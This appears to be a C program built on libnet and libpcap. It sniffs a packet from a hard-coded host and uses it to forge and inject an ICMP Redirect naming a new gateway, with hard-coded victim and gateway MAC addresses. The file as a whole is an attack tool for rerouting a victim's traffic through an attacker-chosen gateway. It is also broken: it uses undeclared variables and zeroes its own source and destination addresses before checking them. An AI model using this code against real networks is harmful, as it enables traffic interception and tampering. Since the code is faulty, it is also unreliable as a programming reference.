#define LIBNET_LIL_ENDIAN
#include <libnet.h>
    #include <pcap.h>
    #include <stdio.h>


void usage(char *);

u_char enet_victim[6] = {0x00, 0x40, 0x10, 0x12, 0xa9, 0xbe};
u_char enet_gw[6] = {0x00, 0x30, 0x84, 0x87, 0xbe, 0xd3};
u_char enet_newgw[6] = {0x00, 0x30, 0x84, 0x87, 0xbe, 0xd3};



int main(int argc, char *argv[])
    {
    int packet_size,                    /* size of our packet */
    c;                                  /* misc */
    u_long victim_ip, gw_ip, newgw_ip, dest_ip;              /* source ip, dest ip */
    u_char *ppacket;                     /* pointer to our packet buffer */
    u_char *payl;                     /* pointer to our payload buffer */
    char err_buf[LIBNET_ERRBUF_SIZE];   /* error buffer */
    u_char *device;                     /* pointer to the device to use */
    struct libnet_link_int *network;    /* pointer to link interface struct */
	int t;
        pcap_t *handle;                        /* Session handle */
        char *dev;                                /* The device to sniff on */
        char errbuf[PCAP_ERRBUF_SIZE]; /* Error string */
        struct bpf_program filter;            /* The compiled filter */
        char filter_app[] = "host 212.158.45.3";       /* The filter expression */
        bpf_u_int32 mask;                     /* Our netmask */
        bpf_u_int32 net;                        /* Our IP */
        struct pcap_pkthdr header;          /* The header that pcap gives us */
        const u_char *packet;                 /* The actual packet */



    while ((c = getopt(argc, argv, "i:d:s:")) != EOF)
    {
        switch (c)
        {
            case 'd':
                if (!(dst_ip = libnet_name_resolve(optarg, LIBNET_RESOLVE)))
                {
                    libnet_error(LIBNET_ERR_FATAL, "Bad destination IP address: %s\n", optarg);

                }
                break;
            case 'i':
                device = optarg;
                break;
            case 's':
                if (!(src_ip = libnet_name_resolve(optarg, LIBNET_RESOLVE)))
                {
                    libnet_error(LIBNET_ERR_FATAL, "Bad source IP address: %s\n", optarg);
                }
                break;
            default:
                exit(EXIT_FAILURE);
        }
    }


        /* Define the device */
        dev = "eth1";
        /* Find the properties for the device */
        pcap_lookupnet(dev, &net, &mask, errbuf);
        /* Open the session in promiscuous mode */
        handle = pcap_open_live(dev, BUFSIZ, 1, 0, errbuf);
        /* Compile and apply the filter */
        pcap_compile(handle, &filter, filter_app, 0, net);
        pcap_setfilter(handle, &filter);
        /* Grab a packet */
        packet = pcap_next(handle, &header);
        /* Print its length */
        printf("found a packet with length of [%d]\n", header.len);
        /* And close the session */
        pcap_close(handle);
	

	payl=malloc(sizeof(u_char)*50);

	for(t=14;t<42;t++){
        	sprintf(payl,"\n%i",packet[t]);
}

	for(t=0;t<42;t++){
        	printf("\npacket[%i]: %i",t,packet[t]);
}


    printf("libnet example code:\tmodule 2\n\n");
    printf("packet injection interface:\tlink layer\n");
    printf("packet type:\t\t\tICMP net mask [no payload]\n");

    device = "eth1";
    src_ip  = 0;
    dst_ip  = 0;


    if (!src_ip || !dst_ip)
    {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }


    /*
     *  Step 1: Network Initialization (interchangable with step 2).
     */
    if (device == NULL)
    {
        struct sockaddr_in sin;
        /*
         *  Try to locate a device.
         */
        if (libnet_select_device(&sin, &device, err_buf) == -1)
        {
            libnet_error(LIBNET_ERR_FATAL, "libnet_select_device failed: %s\n", err_buf);
        }
        printf("device:\t\t\t\t%s\n", device);
    }
    if ((network = libnet_open_link_interface(device, err_buf)) == NULL)
    {
        libnet_error(LIBNET_ERR_FATAL, "libnet_open_link_interface: %s\n", err_buf);
    }


    /*
     *  We're going to build an ICMP packet with no payload using the
     *  link-layer API, so this time we need memory for a ethernet header
     *  as well as memory for the ICMP and IP headers.
     */
    packet_size = LIBNET_IP_H + LIBNET_ETH_H + LIBNET_ICMP_REDIRECT_H+28;
printf("packet size:%i\nip:%i\neth:%i\nicmp%i\n", packet_size, LIBNET_IP_H, LIBNET_ETH_H, LIBNET_ICMP_REDIRECT_H);

    /*
     *  Step 2: Memory Initialization (interchangable with step 1).
     */
    if (libnet_init_packet(packet_size, &ppacket) == -1)
    {
        libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n");
    }


    /*
     *  Step 3: Packet construction (ethernet header).
     */
    libnet_build_ethernet(enet_dst,
            enet_src,
            ETHERTYPE_IP,
            NULL,
            0,
            ppacket);

    /*
     *  Step 3: Packet construction (IP header).
     */
    libnet_build_ip(ICMP_REDIRECT_H,
            0,                      /* IP tos */
            242,                    /* IP ID */
            0,                      /* Frag */
            64,                     /* TTL */
            IPPROTO_ICMP,           /* Transport protocol */
            src_ip,                 /* Source IP */
            dst_ip,                 /* Destination IP */
            NULL,                   /* Pointer to payload (none) */
            36,
            ppacket + LIBNET_ETH_H); /* Packet header memory */


    /*
     *  Step 3: Packet construction (ICMP header).
     */
    libnet_build_icmp_redirect(ICMP_REDIRECT,  /* type */
            1,                      /* code */ 
            (u_long)3221291471,      /* new gw 192.1.1.207 */
            (u_short)20,              /* orig_len */
            (u_char)0,               /* orig_tos */
            (u_short)242,            /* orig_id */
            (u_short)0,              /* orig_frag */
            (u_char)64,              /* orig_ttl */
            (u_char)IPPROTO_TCP,     /* orig_prot */
            dst_ip,               /* orig_src */
            (u_long)3232238090,      /* orig_dst */
            payl,                   /* orig_payload */ 
            8,                      /* orig_payload_s */ 
            ppacket + LIBNET_ETH_H + LIBNET_IP_H);
ppacket[17]=56;	//set IP packet length attribute (to include icmp payload)
for (t=14;t<43;t++){		//copy icmp payload into place
	ppacket[t+28]=packet[t];
}
ppacket[50]--;
ppacket[52]++;
    /*
     *  Step 4: Packet checksums (ICMP header *AND* IP header).
     */
    if (libnet_do_checksum(ppacket + ETH_H , IPPROTO_ICMP, LIBNET_ICMP_REDIRECT_H+28) == -1)
    {
        libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n");
    }
    if (libnet_do_checksum(ppacket + ETH_H, IPPROTO_IP, LIBNET_IP_H) == -1)
    {
        libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n");
    }


    /*
     *  Step 5: Packet injection.
     */
    c = libnet_write_link_layer(network, device, ppacket, packet_size);
    if (c < packet_size)
    {
        libnet_error(LN_ERR_WARNING, "libnet_write_link_layer only wrote %d bytes\n", c);
    }
    else
    {
        printf("construction and injection completed, wrote all %d bytes\n", c);
    }


    /*
     *  Shut down the interface.
     */
    if (libnet_close_link_interface(network) == -1)
    {   
        libnet_error(LN_ERR_WARNING, "libnet_close_link_interface couldn't close the interface");
    }


    /*
     *  Free packet memory.
     */
    libnet_destroy_packet(&ppacket);

    return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}


void
usage(char *name)
{
    fprintf(stderr, "usage: %s [-i interface] -s s_ip -d d_ip\n", name);
}

/* EOF */
